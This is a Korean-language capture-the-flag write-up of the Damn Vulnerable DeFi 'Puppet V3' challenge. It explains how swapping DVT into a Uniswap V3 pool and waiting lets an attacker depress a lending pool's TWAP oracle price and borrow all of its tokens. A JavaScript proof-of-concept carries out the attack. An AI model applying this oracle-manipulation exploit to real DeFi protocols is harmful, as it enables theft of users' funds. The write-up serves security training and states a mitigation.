Damn Vulnerable DeFi-PuppetV3

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

Uniswap V3 풀을 교란하여 Uniswap V3 오라클을 이용하는 랜딩 컨트랙트에서 저렴한 가격으로 토큰을 빼내었다.

Keyword

uniswap v3, oracle, swap pool, theft

Vulnerability

Even on a bear market, the devs behind the lending pool kept building. In the latest version, they’re using Uniswap V3 as an oracle. That’s right, no longer using spot prices! This time the pool queries the time-weighted average price of the asset, with all the recommended libraries. The Uniswap market has 100 WETH and 100 DVT in liquidity. The lending pool has a million DVT tokens. Starting with 1 ETH and some DVT, pass this challenge by taking all tokens from the lending pool. NOTE: unlike others, this challenge requires you to set a valid RPC URL in the challenge’s test file to fork mainnet state into your local environment.

Uniswap V3의 경우 가격 계산에 TWAP(Time Weighted Average Price, 시간 가중 평균)을 이용한다. 가격 계산을 위해 실제 들고있는 토큰 수를 이용하지 않고, 과거의 기록을 이용한다. 이로 인해 한순간 flashswap 등으로 거래가 튀더라도 그것이 지속되지 않는다면 가격에 주는 영향이 작다. 가격 조작을 위해 시간이 필요하다. 자세한 정보는 https://uniswapv3book.com/docs/milestone_5/price-oracle/#price-oracle-implementation 를 참고하자.

PuppetV3Pool 컨트랙트에서는 Uniswap V3 오라클을 이용한다. 최근 10분간의 기록을 이용하여 가격을 계산한다. 다음은 PuppetV3Pool 의 가격 계산 함수들이다.

    // @note 가격의 3배만큼 
    function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
        uint256 quote = _getOracleQuote(_toUint128(amount));
        return quote * DEPOSIT_FACTOR;
    }
 
    function _getOracleQuote(uint128 amount) private view returns (uint256) {
        // @note 10분간 time-weighted 평균을 이용
        (int24 arithmeticMeanTick,) = OracleLibrary.consult(address(uniswapV3Pool), TWAP_PERIOD);
        return OracleLibrary.getQuoteAtTick(
            arithmeticMeanTick,
            amount, // baseAmount
            address(token), // baseToken
            address(weth) // quoteToken
        );
    }

따라서 가격을 조작한 후 오랫동안 유지할수록 더 큰 영향력을 끼칠 수 있다. 다음은 PoC Javascript 코드이다. 문제의 조건은 115초 내에 작업을 마치는 것이므로, 가격 조작 후 100초정도 시간을 보내어 가격이 크게 떨어질 때까지 기다렸다.

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
    
        // 유저의 DVT를 이용해 풀을 교란
        uniswapRouter = new ethers.Contract("0xE592427A0AEce92De3Edee1F18E0157C05861564", routerJson.abi, player);
 
        await token.connect(player).approve(uniswapRouter.address, ethers.constants.MaxUint256);
 
        const params = {
            tokenIn: token.address,
            tokenOut: weth.address,
            fee: 3000,
            recipient: player.address,
            deadline: (await ethers.provider.getBlock('latest')).timestamp + 100,
            amountIn: ethers.constants.WeiPerEther.mul(110),
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        }
 
        await uniswapRouter.connect(player).exactInputSingle(
            params
        );
 
        await time.increase(100);
 
        const neededEth = await lendingPool.calculateDepositOfWETHRequired(token.balanceOf(lendingPool.address));
        console.log("neededEth: ", neededEth.toString())
 
        await weth.connect(player).approve(lendingPool.address, ethers.constants.MaxUint256)
        await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE)
 
    });

Impact

오라클을 조작하여 적은 금액으로 다량의 토큰을 빌려갈 수 있다. 랜딩풀의 토큰을 탈취당한다.

Mitigation

TWAP 기간을 충분히 크게 잡아 오라클을 조작하기 어렵게 만든다.

Memo

Uniswap V3은 이번에 처음 자세히 뜯어보아서 파악하는데 시간이 걸렸다. 사실 아직도 잘 모르겠다. DeFi 오딧팅을 깊이있게 하기 위해서는 아예 Uniswap을 깊게 분석하는 시간을 가져야할 것 같다. 더 자세히 쓸까 하다가, 일단은 문제를 먼저 다 풀어보고 추후 따로 정리하는게 나을 듯 하여 마무리지었다.


tags: writeup, blockchain, solidity, smart contract, defi, dex, uniswap-v3 integration, uniswap integration, oracle manipulation, price oracle, crypto theft